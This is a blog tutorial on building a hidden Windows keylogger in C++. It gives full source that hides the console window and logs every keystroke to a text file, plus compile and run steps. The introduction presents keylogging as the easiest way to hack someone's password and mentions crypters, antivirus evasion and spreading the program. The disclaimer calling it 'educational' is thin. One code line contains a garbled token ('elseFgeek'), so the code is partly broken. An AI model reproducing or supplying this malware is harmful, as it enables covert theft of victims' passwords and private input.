Keyloggers, as the word itself suggests, function by logging or capturing keys or key strokes. Technically, a keylogger is a software tool or program which is used to capture key strokes that a user presses in real time. Further processing depends on the nature of the keylogger, whether it is a physical or remote keylogger. The technique of capturing key strokes is called keylogging. It’s hard to believe, but keylogging is the easiest method to hack someone’s password. All you need is a good keylogger, a good crypter, and the knowledge to spread your keylogger program. Thousands of keyloggers are available online for free, but all of these are either detectable by antivirus or, ironically, have a virus attached to hack the user. Clearly, we need to be cautious when using freely available keyloggers or cracked versions of paid keyloggers. But why should you become prey to other hackers when designing your own is damn easy? Most novice hackers or “script kiddies” think that coding a good keylogger is a difficult and tedious task but believe me, after reading this tutorial, it will become a routine task for you to code a keylogger. Today, I will teach you the inward and outward logic of keyloggers.

Let’s start by learning how to code keyloggers in C stepwise. As you all learned above, keyloggers capture keystrokes. There are several methods for capturing keys, such as capturing the keyboard API input and output: these are called API based keyloggers. You can also simply capture the keys after they get decoded by your OS. The hardware keyboard sends instructions to OS drivers, which decode every key pressed on the keyboard into useful alphabets.

Note: You can use Borland C compiler or Code blocks C compiler for coding, I usually prefer DEV C i.e. Borland C compiler.

So let’s start coding:

Disclaimer: This tutorial has been made for educational purposes only, Codelivly don’t promote malicious practices and will not be responsible for any illegal activities. Use it at your own risk.

In this tutorial, you will learn how to make a powerful c++ keylogger. If you know how to program then the code will be very easy to understand, don’t worry if you don’t know anything about programming still you can make your own C++ keylogger using this tutorial.

After successful compilation, the C++ keylogger can perform the following functions:

  • It will run in stealth mode.
  • It can bypass the antivirus.
  • It will store every keystroke in a text file.

Let’s learn, how to make a  C++ Keylogger:

In order to modify and compile the source, you will need a C++ IDE(integrated development environment), for this tutorial I will use Dev c++ because it is free, lightweight, and easy to use, feel free to use any other C++ IDE.

Download Dev c++ from here.

Install Dev c++ on your system, the installation process is very simple. Launch it after the installation the interface should look the image below. Go to the File option at the top you will see New from here choose Source file, or click on the middle of the IDE and press Ctrl+n.

c++ keylogger

Here is the source code for the C++ Keylogger:

#include <iostream>
#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void StealthMode();
void StartLogging();

int main(){
    StealthMode();
    StartLogging();

    return 0;
}

void StartLogging(){
        char c;

    for(;;){

        for(c=8;c<=222;c++){
            if(GetAsyncKeyState(c)==-32767){

            ofstream write("Record.txt", ios::app);

            if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
            {
                c+=32;
                write<<c;
                write.close();
                break;
            }
            else if((c>64)&&(c<91))
            {

                write<<c;
                write.close();
                break;
            }
            else {

                switch (c)
                {
                    case 48:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<")";
                        elseFgeek
                            write<<"0";


                        }
                    break;



                    case 49:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"!";
                        else
                            write<<"1";


                        }
                    break;

                    case 50:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"@";
                        else
                            write<<"2";

                        }
                    break;
                    case 51:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"#";
                        else
                            write<<"3";


                        }
                    break;
                    case 52:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"$";
                        else
                            write<<"4";


                        }
                    break;
                    case 53:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"%";
                        else
                            write<<"5";


                        }
                    break;
                    case 54:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"^";
                        else
                            write<<"6";


                        }
                    break;
                    case 55:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"&";
                        else
                            write<<"7";


                        }
                    break;
                    case 56:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"*";
                        else
                            write<<"8";


                        }
                    break;
                    case 57:
                    {
                        if(GetAsyncKeyState(0x10))

                            write<<"(";
                        else
                            write<<"9";


                        }
                    break;

                    case VK_SPACE:
                        write<<" ";
                        break;
                    case VK_RETURN:
                        write<<"\n";
                        break;
                    case VK_TAB:
                        write<<"  ";
                        break;
                   case VK_BACK:
                        write<<"<BACKSPACE>";
                        break;
                    case VK_DELETE:
                        write<<"<Del>";
                        break;

                    default:
                        write<<c;
            }

                }

           }
        }
        }
}
void StealthMode(){
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);

}

Copy all of the C++ keylogger Source code, and past it on the Dev C++ ide. To compile it go to the Execute option and choose Compile or press F9 function key, it will ask you for a location to save your keylogger .Choose your location and save it to start the compilation process.

C++ keylogger

After successful compilation, you will see your keylogger in executable form in the folder you used to save during compiling the C++ keylogger source code.

C++ keylogger

Now test your keylogger start the application, you nothing because it is coded to run in the stealth mode in the background. Open a browser and type something, and  go to the C++ keylogger folder you will see a text file called Record wich have the information you typed.

C++ keylogger
C++ Keylogger

It will keep running in the background unless you stop it. To close the C++ keylogger go to Task manager by pressing  Ctrl+alt+Del. Select the keylogger and choose Endtask.

C++ Keylogger

I hope you enjoyed the article. Step 6 is not disclosed because I want to explain the difference between a physical keylogger and a remote keylogger. You might have realized that this is a physical keylogger: you can only view data on the same machine on which the binary is running.

If you have any doubts, please ask in the comments.

Discover: Build an Advanced Keylogger in Python

Shares:

Leave a Reply

Your email address will not be published. Required fields are marked *